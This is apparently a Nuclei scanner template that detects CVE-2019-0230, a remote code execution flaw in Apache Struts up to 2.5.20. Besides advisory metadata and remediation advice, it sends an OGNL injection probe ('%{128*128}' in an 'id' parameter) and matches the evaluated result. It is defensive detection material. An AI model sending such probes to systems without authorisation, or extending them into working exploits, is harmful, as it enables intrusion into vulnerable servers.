id: CVE-2019-0230 info: name: Apache Struts <=2.5.20 - Remote Code Execution author: geeknik severity: critical description: Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation when evaluated on raw user input in tag attributes, which may lead to remote code execution. impact: | Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected server. remediation: | Upgrade Apache Struts to a version higher than 2.5.20 or apply the necessary patches provided by the vendor. reference: - https://nvd.nist.gov/vuln/detail/CVE-2019-0230 - https://cwiki.apache.org/confluence/display/WW/S2-059 - https://www.tenable.com/blog/cve-2019-0230-apache-struts-potential-remote-code-execution-vulnerability - http://packetstormsecurity.com/files/160108/Apache-Struts-2.5.20-Double-OGNL-Evaluation.html - https://cwiki.apache.org/confluence/display/ww/s2-059 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2019-0230 cwe-id: CWE-1321 epss-score: 0.94817 epss-percentile: 0.99114 cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: apache product: struts tags: cve,cve2019,tenable,packetstorm,struts,rce,apache variables: str: "{{rand_base(6)}}" http: - method: GET path: - "{{BaseURL}}/?id={{str}}%25{128*128}" matchers: - type: word part: body words: - "{{str}}16384" # digest: 4a0a00473045022100dc3f9eb4ddc3ee9f4358b97c25b2e19f64754b2a6ab4e908f3cd5e6b3abe856902201c8b19054aa21ce2de57af88dcef93933f942b8b7a61bb0d878cf24a39a7353c:922c64590222798bb761d5b6d8e72950